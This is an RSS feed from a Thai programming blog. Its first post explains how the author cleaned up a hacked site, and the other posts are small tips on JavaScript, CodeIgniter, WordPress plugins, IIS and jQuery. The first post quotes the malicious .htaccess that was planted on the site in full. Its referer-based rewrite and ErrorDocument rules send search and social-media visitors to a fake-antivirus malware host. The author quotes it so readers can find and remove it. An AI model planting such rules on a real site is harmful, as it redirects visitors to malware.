<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>นพ ภิญโญวาณิชกะ &#187; Programming</title>
	<atom:link href="http://www.nop.in.th/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nop.in.th</link>
	<description>Nop Pinyowanichaka &#124; ก้าวสั้นๆ ในวันเบาๆ ของผม</description>
	<lastBuildDate>Tue, 29 Nov 2011 06:34:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>การแก้ปัญหาเบื้องต้นจากการโดน Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</title>
		<link>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/</link>
		<comments>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 04:17:36 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=826</guid>
		<description><![CDATA[การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย [...]]]></description>
			<content:encoded><![CDATA[<h3>การแก้ปัญหาเบื้องต้น จากการโดน XSS (Cross Site Script) ที่ทำให้หน้าเว็บของเรา Redirect ไปที่ http://seishell-inoa.ru/wings/index.php</h3>
<p>หลังจากที่ Website ที่โฆษณาโดยใช้ Adwords บางตัว เมื่อคลิกที่ Ad แล้วปรากฏว่าพบว่ามัน Redirect ไป http://seishell-inoa.ru/wings/index.php ซึ่งก่อน Google จะบล็อค Website นี้จะ เป็น Fake App (Symantec Endpoint 11 กั้นไม่ให้ Access เลยทีเดียว) ที่ทำตัวเป็น Antivirus แต่จริงๆ เมื่อ Download มานั่นจะเป็น Virus อย่างดีทีเดียว<br />
สาเหตุหลักจากที่พยายามไล่ดูแล้ว ช่องโหว่มากที่สุดน่าจะเป็นที่ใช้ phpMyAdmin 2.9.2 ในระบบเป็นส่วนใหญ่ ซึ่งมันรั่วมาก มันสามารถ สร้าง Script Attack Server เราได้มากมาย<br />
<strong>โดยมีสรุป เป็นปีๆ ได้ดังนี้</strong><br />
<a href="http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/version/38014/Phpmyadmin-Phpmyadmin-2.9.2.html</a><br />
<strong>และอันนี้เป็นอันรวมว่ามีรูรั่วตรงไหนบ้าง<br />
</strong><a href="http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html" target="_blank">http://www.cvedetails.com/vulnerability-list/vendor_id-784/product_id-1341/version_id-38014/opxss-1/Phpmyadmin-Phpmyadmin-2.9.2.html</a></p>
<p>ทั้งหมดจะเป็นประเภท XSS หมดเลยครับ</p>
<p><strong>วิธีการแก้ปัญหา </strong><br />
ก่อนทำอะไร Backup DB ไว้ก่อนดีที่สุดครับ</p>
<p>1. จัดการตัวการเจ้าปัญหาเสียก่อน โดยทำการลบ phpMyAdmin version ที่รั่วทิ้ง จากนั้นไป Load Version ใหม่ ได้ที่ <a href="http://www.phpmyadmin.net/home_page/index.php" target="_blank">http://www.phpmyadmin.net/home_page/index.php</a></p>
<p>2. ให้ทำการตรวจสอบข้อมูลใน Table เราก่อนว่ามี Script ที่เกิดจากการใช้ SQL Injection อะไรหรือเปล่า โดยหลักจะผมจะ Search หาคำว่า <strong>&lt;/SCRIPT&gt;, script , java , void</strong> ด้วย Keyword เหล่านี้ แต่หาจากทุก Table ใน ทุกๆ Field ใน Database นั้นๆ (มีเครื่องมือที่ <a href="http://anywhereindb.googlecode.com" target="_blank">http://anywhereindb.googlecode.com</a> เป็นไฟล์ php หรือจะใช้ ค้นหา ใน phpmyadmin ก็ได้ครับ) เมื่อเจอ Code Java ประหลาด ๆ (ที่ไม่ได้เกิดจากที่ App เราเขียนนะครับ) ก็ลบออก<br />
(ใน Case ของผมมี 2 &#8211; 3 จุดครับ แต่ก็ยังไม่หาย ยังคง Redirect ต่อเนื่อง &#8211; -&#8221; คิดว่างานมาละ )</p>
<p><span id="more-826"></span></p>
<p>3. สำหรับ Case ที่ Redirect ไปหน้า http://seishell-inoa.ru/wings/index.php จะเกิดจากการโดนแก้ไข File .htaccess ที่ root Directory ของ Website ของเราโดยจะโดนแก้ไขให้เป็นดังนี้ครับ</p>
<blockquote><p>RewriteEngine On<br />
ErrorDocument 400 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 401 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 403 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 404 http://seishell-inoa.ru/wings/index.php<br />
ErrorDocument 500 http://seishell-inoa.ru/wings/index.php<br />
RewriteCond %{HTTP_REFERER} .*google.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ask.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*qq.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*excite.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*msn.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aol.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*goto.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*search.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*bing.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*blog.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*live.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*mail.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*ya.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*aport.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]<br />
RewriteCond %{HTTP_REFERER} .*flickr.*<br />
RewriteRule ^(.*)$ http://seishell-inoa.ru/wings/index.php [R=301,L]</p></blockquote>
<p>ถ้าเปิดแล้วไม่เจอ ลองเลื่อน Scrollbar ดูทั้ง ด้านข้างและด้านล่างนะครับ เพราะการเขียน Code พวกนี้จะทิ้ง Space ไว้ เพื่อให้เราเปิดไม่เจอด้วย</p>
<p>จาก .htaccess เราจะพบว่า ผู้ใช้คนไหนก็แล้วแต่ที่มาจาก Search engine ต่างๆ หรือ Social Network เข้ามาปุ๊ปให้ Redirect ไปที่ http://seishell-inoa.ru/wings/index.php แบบ 301 (moved to a new location, permanently) และ หน้า Error ที่เกิดขึ้นใน Web ของเราก็ให้ Redirect ไปเช่นกัน<br />
เมื่อเห็นดังนี้แล้วก็ให้ลบ Rewrite Condition ด้านบนทิ้งแล้วก็ Save Upload เก็บไว้ที่เดิมครับ</p>
<p>อันนี้เป็นการแก้ไขปัญหาเบื้องต้นก่อน เพราะว่า ผมยังไม่รู้ว่า ที่มันรั่วมันรั่วมาจาก phpMyAdmin หรือเปล่า ถ้ามี Update จะมาเล่าสุ่กันฟังต่อไปครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/fix-the-problem-with-seishell-inoa-ruwing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เวลาทำ Popup Javascript แล้วเป็นภาษาต่างดาว</title>
		<link>http://www.nop.in.th/programming/javascript/%e0%b9%80%e0%b8%a7%e0%b8%a5%e0%b8%b2%e0%b8%97%e0%b8%b3-popup-javascript-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7%e0%b9%80%e0%b8%9b%e0%b9%87%e0%b8%99%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b8%95%e0%b9%88/</link>
		<comments>http://www.nop.in.th/programming/javascript/%e0%b9%80%e0%b8%a7%e0%b8%a5%e0%b8%b2%e0%b8%97%e0%b8%b3-popup-javascript-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7%e0%b9%80%e0%b8%9b%e0%b9%87%e0%b8%99%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b8%95%e0%b9%88/#comments</comments>
		<pubDate>Thu, 07 Oct 2010 02:31:57 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/programming/javascript/%e0%b9%80%e0%b8%a7%e0%b8%a5%e0%b8%b2%e0%b8%97%e0%b8%b3-popup-javascript-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7%e0%b9%80%e0%b8%9b%e0%b9%87%e0%b8%99%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b8%95%e0%b9%88/</guid>
		<description><![CDATA[โดยส่วนใหญ่ใน Application ที่เขียน ก็จะต้องมี Popup ที่เป็น Javascript โน้นนี่ แต่สำหรับที่ติดปัญหาก็คือ บางครั้ง Javascript ที่เป็น Popup แสดงภาษาไทยไม่ถูกต้อง คือเป็นต่างดาวไปเลย แม้ว่า Encoding Charset มั่นใจว่า Set ถูกหมดแล้ว วิธีแก้ปัญหาก็แสนจะง่ายดาย เพียงแค่ กำหนด charset ให้ javascript นั้นๆ เลยเช่น &#60;script LANGUAGE=&#8221;JavaScript&#8221; CHARSET=&#8221;UTF-8&#8243;&#62; &#160;&#160;&#160;&#160; alert(&#8216;ทดสอบ&#8217;); &#60;/script&#62; หรือถ้าเป็น javascript แบบไฟล์แยก &#60;SCRIPT LANGUAGE=&#8221;JavaScript&#8221; CHARSET=&#8221;UTF-8&#8243; SRC=&#8221;this_is_java.js&#8221;&#62;&#60;/SCRIPT&#62; แค่นี้ Javascript Popup ของเราก็ไม่เป็นภาษาต่างดาวแล้วครับ]]></description>
			<content:encoded><![CDATA[<p>โดยส่วนใหญ่ใน Application ที่เขียน ก็จะต้องมี Popup ที่เป็น Javascript โน้นนี่ แต่สำหรับที่ติดปัญหาก็คือ บางครั้ง Javascript ที่เป็น Popup แสดงภาษาไทยไม่ถูกต้อง คือเป็นต่างดาวไปเลย แม้ว่า Encoding Charset มั่นใจว่า Set ถูกหมดแล้ว</p>
<p>วิธีแก้ปัญหาก็แสนจะง่ายดาย เพียงแค่ กำหนด charset ให้ javascript นั้นๆ เลยเช่น</p>
<p>&lt;script LANGUAGE=&#8221;JavaScript&#8221; CHARSET=&#8221;UTF-8&#8243;&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp; alert(&#8216;ทดสอบ&#8217;);<br />
&lt;/script&gt;<br />
หรือถ้าเป็น javascript แบบไฟล์แยก</p>
<p><span lang="EN-US">&lt;SCRIPT LANGUAGE=&#8221;JavaScript&#8221; CHARSET=&#8221;UTF-8&#8243;  SRC=&#8221;this_is_java.js&#8221;&gt;&lt;/SCRIPT&gt;</span></p>
<p>แค่นี้ Javascript Popup ของเราก็ไม่เป็นภาษาต่างดาวแล้วครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/javascript/%e0%b9%80%e0%b8%a7%e0%b8%a5%e0%b8%b2%e0%b8%97%e0%b8%b3-popup-javascript-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7%e0%b9%80%e0%b8%9b%e0%b9%87%e0%b8%99%e0%b8%a0%e0%b8%b2%e0%b8%a9%e0%b8%b2%e0%b8%95%e0%b9%88/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เปลี่ยนที่อยู่ของ views folder ของ Codeigniter ที่ไหน</title>
		<link>http://www.nop.in.th/programming/codeigniter-programming/codeigniter-change-default-view-folder/</link>
		<comments>http://www.nop.in.th/programming/codeigniter-programming/codeigniter-change-default-view-folder/#comments</comments>
		<pubDate>Thu, 23 Sep 2010 15:23:28 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Codeigniter]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=698</guid>
		<description><![CDATA[วันก่อนต้องเขียน Codeigniter ร่วมกับเพื่อน มี Case ของต้องวาง Folder view ไว้ให้คนอื่นหาง่ายๆ เลยต้องหาทางย้ายจากที่อยู่ดั้งเดิมของมัน เลยเกิดคำถามขึ้นว่า ถ้าต้องการเปลี่ยนที่อยู่ของ Folder views ของ Codeigniter ซึ่งติดตั้งครั้งแรกจะอยู่ที่ /system/application/views จะต้องทำยังไงบ้าง วิธีทำก็คือ เข้าไปที่ copy file system/libraries/Loader.php ไปที่ system/application/libraries/Loader.php หาอันนี้ $this-&#62;_ci_view_path = APPPATH.&#8217;views/&#8217;; $this-&#62;_ci_view_path = &#8216;my_views/&#8217;; ซึ่งจะเริ่มต้นที่ root application path ของ เรา แค่นี้ก็เรียบร้อย]]></description>
			<content:encoded><![CDATA[<p>วันก่อนต้องเขียน Codeigniter ร่วมกับเพื่อน มี Case ของต้องวาง Folder view ไว้ให้คนอื่นหาง่ายๆ เลยต้องหาทางย้ายจากที่อยู่ดั้งเดิมของมัน เลยเกิดคำถามขึ้นว่า ถ้าต้องการเปลี่ยนที่อยู่ของ Folder views ของ Codeigniter ซึ่งติดตั้งครั้งแรกจะอยู่ที่ /system/application/views จะต้องทำยังไงบ้าง</p>
<p><strong>วิธีทำก็คือ </strong><br />
เข้าไปที่ copy file system/libraries/Loader.php ไปที่ system/application/libraries/Loader.php หาอันนี้</p>
<p>$this-&gt;_ci_view_path = APPPATH.&#8217;views/&#8217;;</p>
<p>$this-&gt;_ci_view_path = &#8216;my_views/&#8217;;</p>
<p>ซึ่งจะเริ่มต้นที่ root application path ของ เรา</p>
<p>แค่นี้ก็เรียบร้อย</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/codeigniter-programming/codeigniter-change-default-view-folder/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เริ่มต้นง่ายๆ กับการเขียน WordPress Plugins บทที่ 1</title>
		<link>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/</link>
		<comments>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 06:14:50 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[tutor]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/chit-chat/get-start-your-own-wordpress-plugins/</guid>
		<description><![CDATA[เริ่มต้นง่ายๆ กับการเขียน WordPress Plugin บทที่ 1 ว่าจะลองเขียน Plugin ของ WordPress หลายต่อหลายครั้งแล้ว แต่ยังไม่ได้เริ่มเลยสักครั้ง คราวนี้ฤกษ์งามยามดีเพราะว่าต้องทำ Theme ให้ www.iamewery.com แล้วต้องไปแก้ Plugins หลายๆอันเพื่อให้สวยงามพอดีกับ Theme และยังอยากเขียน Plugins ที่สำหรับ ใส่ตัวเก็บสถิติของ Stats.in.th ด้วย (โปรเจ็คถัดไป) วันนี้เลยเอาวิธีเขียน Plugins แบบ ง่ายมาเขียนให้ดูกันครับ ในบทที่ 1 นี้เราจะเริ่มเขียน Plugin ง่ายๆตัวนึง โดยตั้งชื่อว่า WP-ColorClock หน้าที่ของปลั๊กอินอันนี้คือการแสดงวันที่ปัจจุบันในทุกๆ Post ด้วยอักษรสีแดง ให้ทำการสร้าง File ชื่อ wp-colorclock.php ไว้ใน wp-content/plugins จากนั้นเข้าไปแก้ไขไฟล์นี้ด้วย Notepad หรือ Editor อื่นๆตามถนัด แล้วก็ Save จากนั้นเราลอง [...]]]></description>
			<content:encoded><![CDATA[<p><strong>เริ่มต้นง่ายๆ กับการเขียน WordPress Plugin บทที่ 1</strong></p>
<p>ว่าจะลองเขียน Plugin ของ WordPress หลายต่อหลายครั้งแล้ว แต่ยังไม่ได้เริ่มเลยสักครั้ง คราวนี้ฤกษ์งามยามดีเพราะว่าต้องทำ Theme ให้ <a href="http://www.iamewery.com/blog" target="_blank">www.iamewery.com</a> แล้วต้องไปแก้ Plugins หลายๆอันเพื่อให้สวยงามพอดีกับ Theme และยังอยากเขียน Plugins ที่สำหรับ ใส่ตัวเก็บสถิติของ Stats.in.th ด้วย (โปรเจ็คถัดไป) วันนี้เลยเอาวิธีเขียน Plugins แบบ ง่ายมาเขียนให้ดูกันครับ</p>
<p>ในบทที่ 1 นี้เราจะเริ่มเขียน Plugin ง่ายๆตัวนึง โดยตั้งชื่อว่า WP-ColorClock  หน้าที่ของปลั๊กอินอันนี้คือการแสดงวันที่ปัจจุบันในทุกๆ Post ด้วยอักษรสีแดง</p>
<p>ให้ทำการสร้าง File ชื่อ wp-colorclock.php ไว้ใน wp-content/plugins จากนั้นเข้าไปแก้ไขไฟล์นี้ด้วย Notepad หรือ Editor อื่นๆตามถนัด</p>
<pre lang="php"><?php
/*
Plugin Name: WP-ColorClock
Version: 0.1
Description: Plugin Description
Author: Plugin Author Name
Author URI:  Author website url
Plugin URI: Plugins website url
*/
?></pre>
<p><span id="more-635"></span></p>
<p>แล้วก็ Save จากนั้นเราลอง Login เข้าไปที่ Admin Panel ใน Menu Plugins &gt; Installed จะเห็นหน้าจอดังภาพ</p>
<p><img style="max-width: 800px;" src="http://www.nop.in.th/wp-content/uploads/2009/08/plugins-me2.jpg" alt="" /></p>
<p>แต่พอเรา Click Ativate ก็จะไม่เกิดอะไรขึ้นเพราะเรายังไม่ได้เขียนอะไร เรามา เริ่ม Step ถัดไปกัน</p>
<p>เรามาเพิ่ม function showColorClock ใน Plugin ไฟล์ตัวนี้</p>
<pre lang="php">function showColorClock($parse_content){
	$a = current_time('mysql');
	return $parse_content.'

 <font color=red>'.$a.'</font>

';
}</pre>
<p>โดยไปเรียก Function พื้นฐานของ WordPress คือ current_time(&#8216;mysql&#8217;) ก็คือ เอาเวลาปัจจุบันแบบ style mysql มาเข้าตัวแปร $a นั่นเอง<br />
จากนั้น function ก็คืนค่า $parse_content ก็คือเนื้อหาของ Post นั้น  กลับไปพร้อม เวลาในตัวแปร $a</p>
<p>จากนั้นก็จำการแทรกในแต่ละ Post ด้วยคำัสั่ง</p>
<pre lang="php">add_filter('the_content','showColorClock');</pre>
<p>คำสั่ง add_filter เป็น function ในการแทรก Function ต่อจาก &#8216;the_content&#8217; นั่นก็คือ เนื้อความของ Post นั่นเอง</p>
<p>หน้าตาของ Post ก็จะเป็นแบบนี้ครับ</p>
<p><img style="max-width: 800px;" src="http://www.nop.in.th/wp-content/uploads/2009/08/plugins-me.jpg" alt="" /></p>
<p>สำหรับ Plugins ง่ายๆของ WordPress ก็เขียนได้ประการฉะนี้</p>
<p>จบการวิธีการเขียน WordPress Plugins บทที่ 1 ครับ</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/php/%e0%b9%80%e0%b8%a3%e0%b8%b4%e0%b9%88%e0%b8%a1%e0%b8%95%e0%b9%89%e0%b8%99%e0%b8%87%e0%b9%88%e0%b8%b2%e0%b8%a2%e0%b9%86-%e0%b8%81%e0%b8%b1%e0%b8%9a%e0%b8%81%e0%b8%b2%e0%b8%a3%e0%b9%80%e0%b8%82%e0%b8%b5/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>ใน IIS ไม่มี ASP.Net Extension ทำยังไง ลงยังไง</title>
		<link>http://www.nop.in.th/programming/where-the-aspx-extension-iis6/</link>
		<comments>http://www.nop.in.th/programming/where-the-aspx-extension-iis6/#comments</comments>
		<pubDate>Fri, 12 Jun 2009 08:54:14 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[iis6 asp_net aspnet_regiis asp.net]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=546</guid>
		<description><![CDATA[ใน IIS6 ไม่มี ASP.Net Extension ทำยังไง ลงยังไง เรื่องของเรื่องก็เพราะว่าวันนี้น้องขวัญที่ตอนนี้ผันตัวไปเป็น Web Programer โทรมาถามว่า ทำไม App ที่เขียนด้วย Visual Studio 2003 ภาษา VB ทำไม Up ขึ้น Server ไม่ได้ ผมลองเข้าไปดู ใน Server Extension มันก้อไม่มี สร้าง App มาใหม่เพื่อลองทดสอบ ก็ไม่ได้ มันฟ้องว่า หา File ไม่เจอ แน่ล่ะ!! ก็ IIS มันยังไม่ยอมรับ .aspx นี่ ทางแก้ไขก็ง่ายนิดเดียว C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322(Frame Work Version ที่คุณใช้งาน โดยส่วนใหญ่ก็ 2 up)\aspnet_regiis.exe -i อย่างของผมก็ C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -i [...]]]></description>
			<content:encoded><![CDATA[<p>ใน IIS6 ไม่มี<strong> ASP.Net Extension</strong> ทำยังไง ลงยังไง<br />
เรื่องของเรื่องก็เพราะว่าวันนี้<a href="http://www.khwanandpee.com" target="_blank">น้องขวัญ</a>ที่ตอนนี้ผันตัวไปเป็น Web Programer โทรมาถามว่า ทำไม App ที่เขียนด้วย Visual Studio 2003 ภาษา VB ทำไม Up ขึ้น Server ไม่ได้ ผมลองเข้าไปดู ใน Server Extension มันก้อไม่มี สร้าง App มาใหม่เพื่อลองทดสอบ ก็ไม่ได้ มันฟ้องว่า หา File ไม่เจอ แน่ล่ะ!! ก็ IIS มันยังไม่ยอมรับ .aspx นี่</p>
<p><strong>ทางแก้ไขก็ง่ายนิดเดียว</strong></p>
<p>C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322(Frame Work Version ที่คุณใช้งาน โดยส่วนใหญ่ก็ 2 up)\aspnet_regiis.exe -i</p>
<p>อย่างของผมก็</p>
<p>C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -i</p>
<p>จากนั้นก็ Enter แล้ว รอแป๊ปนึงก็จะพบ Message ว่าเรียบร้อยแล้ว จากนั้น ไปดูที่ Extension ก็จะมี <strong>ASP.Net Extension</strong> โผล่ขึ้นมาแล้วนั่นเอง</p>
<p><img src="http://www.nop.in.th/wp-content/uploads/2009/06/install-asp_net-iis.png" alt="" width="668" height="331" /></p>
<p><strong>สาเหตุ</strong></p>
<p>เพราะว่าลง Framework ก่อนลง IIS ตัว IIS เลยไม่ได้ลง Framework  (เขียนวนไปวนมาเนอะ)</p>
<p><a href="http://msdn.microsoft.com/en-us/library/k6h9cz8h(VS.80).aspx" target="_blank">คลิกเพื่ออ่าน Reference สำหรับ aspnet_regiis version เต็มๆ</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/where-the-aspx-extension-iis6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>เริ่มต้น Javascript Library ดีๆ กับ JQuery</title>
		<link>http://www.nop.in.th/programming/javascript/begin-javascript-library-with-jquery/</link>
		<comments>http://www.nop.in.th/programming/javascript/begin-javascript-library-with-jquery/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 10:23:35 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=260</guid>
		<description><![CDATA[เริ่มต้นกับ Javascript Library ดีๆ กับ JQuery เมื่อก่อนผมใช้ Prototype.js แบบทำ focus ทำ Ajax ง่ายๆ แต่หาอ่าน Document ลำบาก แล้วก็นั่งทำหน้ามึนกับมันไปนาน เลยเขียนได้แค่ก๊อกแก๊ก ก๊อกแก๊ก ไป แต่ไปเจอ หนังสือ JQuery in Action เลยคิดว่า เอาละเว้ย ตัวนี้แหละ (จริงๆ ก็ลองอ่านๆ ดูจากเว็บอื่นๆ ด้วย เพื่อประกอบการตัดสินใจ แม้ความจริง จะสามารถนำมันมาใช้รวมกันได้ทุกอัน) หลังจากที่ลองใช้งานดู พบเว็บที่น่าสนใจดังนี้ เว็บคนไทย อธิบายสั้นๆ ง่ายๆ แต่แจ่มแจ้งด้วย ขั้นตอนการทำงานของ JQuery ที่ทำเรื่องยากๆ ให้หมูไปเลย http://sixhead.com/testrun/jquery/2008.01.31/demo.html ผมชอบอันนี้แทบจะเป็นคู่มือที่อ่านเป็น reference แบบด่วนๆ ได้เลย http://visualjquery.com/1.1.2.html ถ้ามีเพิ่มผมจะมาเขียนเติมนะครับ ^^]]></description>
			<content:encoded><![CDATA[<p>เริ่มต้นกับ Javascript Library ดีๆ กับ JQuery เมื่อก่อนผมใช้ Prototype.js แบบทำ focus ทำ Ajax ง่ายๆ แต่หาอ่าน Document ลำบาก แล้วก็นั่งทำหน้ามึนกับมันไปนาน เลยเขียนได้แค่ก๊อกแก๊ก ก๊อกแก๊ก ไป แต่ไปเจอ หนังสือ JQuery in Action เลยคิดว่า เอาละเว้ย ตัวนี้แหละ (จริงๆ ก็ลองอ่านๆ ดูจากเว็บอื่นๆ ด้วย เพื่อประกอบการตัดสินใจ แม้ความจริง จะสามารถนำมันมาใช้รวมกันได้ทุกอัน) หลังจากที่ลองใช้งานดู พบเว็บที่น่าสนใจดังนี้</p>
<p>เว็บคนไทย อธิบายสั้นๆ ง่ายๆ แต่แจ่มแจ้งด้วย ขั้นตอนการทำงานของ JQuery ที่ทำเรื่องยากๆ ให้หมูไปเลย<br />
<a href="http://sixhead.com/testrun/jquery/2008.01.31/demo.html">http://sixhead.com/testrun/jquery/2008.01.31/demo.html</a></p>
<p>ผมชอบอันนี้แทบจะเป็นคู่มือที่อ่านเป็น reference แบบด่วนๆ ได้เลย<br />
<a href="http://visualjquery.com/1.1.2.html">http://visualjquery.com/1.1.2.html</a></p>
<p>ถ้ามีเพิ่มผมจะมาเขียนเติมนะครับ ^^</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/programming/javascript/begin-javascript-library-with-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codeigniter Activerecord กับ MSSQL แล้ว Error</title>
		<link>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/</link>
		<comments>http://www.nop.in.th/programming/php/codeigniter-activerecord-%e0%b8%81%e0%b8%b1%e0%b8%9a-mssql-%e0%b9%81%e0%b8%a5%e0%b9%89%e0%b8%a7-error/#comments</comments>
		<pubDate>Thu, 22 May 2008 06:31:49 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=259</guid>
